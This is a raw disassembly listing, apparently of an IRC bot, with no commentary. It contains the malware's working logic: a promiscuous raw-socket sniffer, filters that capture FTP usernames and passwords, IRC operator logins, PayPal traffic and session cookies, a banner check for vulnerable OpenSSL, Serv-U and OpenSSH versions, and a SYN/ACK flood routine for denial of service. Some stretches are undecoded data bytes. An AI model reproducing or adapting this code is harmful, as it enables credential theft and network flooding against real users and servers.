		dd 0FF4CB5FFh, 0E7E8FFFFh, 83FFFF78h, 858D14C4h, 0FFFFFD4Ch
		dd 3012E850h, 57590000h, 0B6BC15FFh, 75FF004Ch,	9268E8D0h
		dd 5659FFFFh, 0E7CBE890h, 0BB530246h, 435570h, 0FFFFBFh
		dd 4C858D00h, 57FFFEFDh, 0C5E85056h, 83000093h,	858D0CC4h
		dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CB63Ch, 0FFFF883h
		dd 0FC84h, 55BD8000h, 6FFFEFDh,	858BC675h, 0FFFEFD58h
		dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 4C68FFFEh
		dd 5000435Eh, 96EBE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h
		dd 5E3C68FFh, 0E8500043h, 96D4h, 59C08559h, 0C38B8675h
		dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h
		dd 96B2E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h
		dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h
		dd 0B55415FFh, 0B70F004Ch, 75FF50C0h, 0B015FFF4h, 50004CB6h
		dd 8B7F048Dh, 5584C504h, 34FF0043h, 43556085h, 4C858D00h
		dd 68FFFFFDh, 435E08h, 20068h, 0D5E85000h, 83000096h, 75391CC4h
		dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h,	0FFFFFF50h
		dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF77A2h, 8D14C483h, 0FFFD4C85h
		dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 0B815FFFFh, 50004CB5h
		dd 435DDC68h, 4C858D00h, 68FFFFFDh, 200h, 967EE850h, 0C4830000h
		dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h
		dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF774Ah, 8D14C483h
		dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CB6BC15h
		dd 0D075FF00h, 0FF90C9E8h, 905659FFh, 46E62CE8h
		db 2

; =============== S U B	R O U T	I N E =======================================



sub_412351	proc near		; CODE XREF: sub_412660+213p
					; sub_412660+239p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4CE390, eax
		mov	eax, offset dword_4CE390
		retn
sub_412351	endp


; =============== S U B	R O U T	I N E =======================================



sub_412360	proc near		; CODE XREF: sub_412660+2BFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41237A


loc_412376:				; CODE XREF: sub_412360+29j
					; sub_412360+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41237A:				; CODE XREF: sub_412360+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aPsniff_1 ; "[PSNIFF]:"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aPsniff_0 ; "PSNIFF//"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aJoin_0	; "JOIN	#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4123C2


loc_4123BE:				; CODE XREF: sub_412360+71j
					; sub_412360+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4123C2:				; CODE XREF: sub_412360+5Cj
		push	offset a302_0	; "302 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a366	; "366 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_login_0 ; ":.login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aLogin_1	; ":!login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aLogin_0	; ":!Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_login	; ":.Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_ident	; ":.ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aIdent_0	; ":!ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BE
		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BE
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412360	endp


; =============== S U B	R O U T	I N E =======================================



sub_412477	proc near		; CODE XREF: sub_412660+2F8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412491


loc_41248D:				; CODE XREF: sub_412477+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412491:				; CODE XREF: sub_412477+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41248D
		push	offset aOper_0	; "OPER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4124B7


loc_4124B3:				; CODE XREF: sub_412477+4Fj
					; sub_412477+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4124B7:				; CODE XREF: sub_412477+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B3
		push	offset aOper	; "oper	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B3
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412477	endp


; =============== S U B	R O U T	I N E =======================================



sub_4124ED	proc near		; CODE XREF: sub_412660+32Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412507


loc_412503:				; CODE XREF: sub_4124ED+29j
					; sub_4124ED+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412507:				; CODE XREF: sub_4124ED+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412503
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412503
		push	offset a220	; "220 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41253E


loc_41253A:				; CODE XREF: sub_4124ED+60j
					; sub_4124ED+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41253E:				; CODE XREF: sub_4124ED+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253A
		push	offset aUser_3	; "USER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253A
		push	offset aPass_1	; "PASS	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4124ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_412574	proc near		; CODE XREF: sub_412660+35Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41258E


loc_41258A:				; CODE XREF: sub_412574+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41258E:				; CODE XREF: sub_412574+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41258A
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4125B4


loc_4125B0:				; CODE XREF: sub_412574+4Fj
					; sub_412574+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4125B4:				; CODE XREF: sub_412574+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aPaypal_com_0 ; "PAYPAL.COM"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aPaypal_com ; "paypal.com"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412574	endp


; =============== S U B	R O U T	I N E =======================================



sub_4125FB	proc near		; CODE XREF: sub_412660:loc_412A25p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412615


loc_412611:				; CODE XREF: sub_4125FB+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412615:				; CODE XREF: sub_4125FB+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412611
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41263B


loc_412637:				; CODE XREF: sub_4125FB+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41263B:				; CODE XREF: sub_4125FB+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412637
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4125FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412660	proc near		; DATA XREF: sub_401ACD+427Co

var_113B8	= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
var_1138C	= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
var_2B8		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_3B7]
		push	3Fh
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4CB638
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_4CB6A8
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41C310
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_4CB6A4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_412706
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_412706:				; CODE XREF: sub_412660+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4CB650
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41277C
		call	dword_4CB5B8
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_436188
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_412758
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h


loc_412758:				; CODE XREF: sub_412660+D6j
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB6BC
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 288097Dh


loc_41277C:				; CODE XREF: sub_412660+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_4CB5D0
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412802
		call	dword_4CB5B8
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_436158
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_4127DE
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h


loc_4127DE:				; CODE XREF: sub_412660+15Cj
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB6BC
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	near ptr 288097Dh
		nop


loc_412802:				; CODE XREF: sub_412660+13Cj
		mov	esi, 200h


loc_412807:				; CODE XREF: sub_412660+1D6j
					; sub_412660+1FBj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_113B8]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_113B8]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4CB63C
		cmp	[ebp+var_113AF], 6
		jnz	short loc_412807
		push	[ebp+var_113A4]
		mov	edi, dword_4271E4
		call	edi	; htons
		push	[ebp+var_113A4+2]
		movzx	eax, ax
		mov	[ebp+arg_0], eax
		call	edi	; htons
		cmp	[ebp+arg_0], 6Eh
		movzx	edi, ax
		jz	short loc_412807
		cmp	[ebp+arg_0], 19h
		jz	short loc_412807
		cmp	edi, 6Eh
		jz	short loc_412807
		cmp	edi, 19h
		jz	short loc_412807
		push	[ebp+var_113AC]
		call	sub_412351
		pop	ecx
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+var_113A8]
		call	sub_412351
		add	esp, 10h
		push	dword ptr [eax]
		call	near ptr 71AB401Ch
		nop
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1138C]
		mov	[ebp+var_4], ebx
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jle	short loc_412905


loc_4128D1:				; CODE XREF: sub_412660+2A3j
		mov	eax, [ebp+var_4]
		cmp	[ebp+eax+var_1138C], 0Dh
		lea	eax, [ebp+eax+var_1138C]
		jnz	short loc_4128E8
		mov	byte ptr [eax],	20h


loc_4128E8:				; CODE XREF: sub_412660+283j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4128F0
		mov	byte ptr [eax],	20h


loc_4128F0:				; CODE XREF: sub_412660+28Bj
		inc	[ebp+var_4]
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+var_4], eax
		pop	ecx
		jl	short loc_4128D1


loc_412905:				; CODE XREF: sub_412660+26Fj
		cmp	[ebp+arg_0], 50h
		jz	loc_4129B8
		cmp	edi, 50h
		jz	loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412360
		test	al, al
		pop	ecx
		jz	short loc_41294C
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_436124
		jmp	loc_4129E7
; ---------------------------------------------------------------------------


loc_41294C:				; CODE XREF: sub_412660+2C7j
		cmp	edi, 50h
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412477
		test	al, al
		pop	ecx
		jz	short loc_412982
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_4360F0
		jmp	short loc_4129E7
; ---------------------------------------------------------------------------


loc_412982:				; CODE XREF: sub_412660+300j
		cmp	edi, 50h
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_4124ED
		test	al, al
		pop	ecx
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_4360BC
		jmp	short loc_4129E7
; ---------------------------------------------------------------------------


loc_4129B8:				; CODE XREF: sub_412660+2A9j
					; sub_412660+2B2j ...
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412574
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_412A25
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_436084


loc_4129E7:				; CODE XREF: sub_412660+2E7j
					; sub_412660+320j ...
		lea	eax, [ebp+var_2B8]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_412807
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_412807
; ---------------------------------------------------------------------------


loc_412A25:				; CODE XREF: sub_412660+36Ej
		call	sub_4125FB
		test	al, al
		pop	ecx
		jz	loc_412807
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_43604C
		jmp	short loc_4129E7
sub_412660	endp

; ---------------------------------------------------------------------------
byte_412A53	db 55h			; DATA XREF: sub_401ACD+6542o
		dd 0EC81EC8Bh, 494h, 5608458Bh,	0A5B957h, 0F08B0000h, 0FD6CBD8Dh
		dd 0A5F3FFFFh, 29080C7h, 10000h, 0D3E80000h, 900241E3h
		dd 8E52E850h, 858D0000h, 0FFFFFE74h, 74858D50h,	50FFFFFFh
		dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h
		dd 8D5014C4h, 0FFFB6C85h, 61B468FFh, 0E8500043h, 8DCAh
		dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh
		dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 8FE8FFFFh, 83FFFF6Fh
		dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h
		dd 0FF8915E8h, 565959FFh, 46DE78E8h, 5E5F9002h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B08	proc near		; CODE XREF: ___:00412E7Fp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CB594
		test	eax, eax
		jz	short loc_412B48
		xor	eax, eax
		jmp	loc_412E3B
; ---------------------------------------------------------------------------


loc_412B48:				; CODE XREF: sub_412B08+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CB6C8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_412E33
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4CB604
		cmp	eax, 0FFFFFFFFh
		jz	loc_412E29
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4CB624
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4CB624
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4CB624
		mov	[ebp+var_12], ax
		call	sub_41B8E2
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4CB624
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4CB620
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C18
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_412C6C
; ---------------------------------------------------------------------------


loc_412C18:				; CODE XREF: sub_412B08+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C34
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_412C6C
; ---------------------------------------------------------------------------


loc_412C34:				; CODE XREF: sub_412B08+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C6C
		call	sub_41B8E2
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41B8E2
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_412C6C:				; CODE XREF: sub_412B08+10Ej
					; sub_412B08+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4CB624
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 2940000h
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 2930989h
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_412CBA:				; CODE XREF: sub_412B08+2E2j
					; sub_412B08+2F0j
		mov	[ebp+var_4], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CB624
		mov	[ebp+var_14], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4CB624
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CB620
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CB624
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_4CB688
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412DFD
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 2930989h
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_412E26
		jl	loc_412CBA
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_412E26
		jmp	loc_412CBA
; ---------------------------------------------------------------------------


loc_412DFD:				; CODE XREF: sub_412B08+2CBj
		call	dword_4CB5B8
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_4361DC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4151AC
		add	esp, 10h
		jmp	short loc_412E29
; ---------------------------------------------------------------------------


loc_412E26:				; CODE XREF: sub_412B08+2E0j
					; sub_412B08+2EEj
		mov	ebx, [ebp+arg_8]


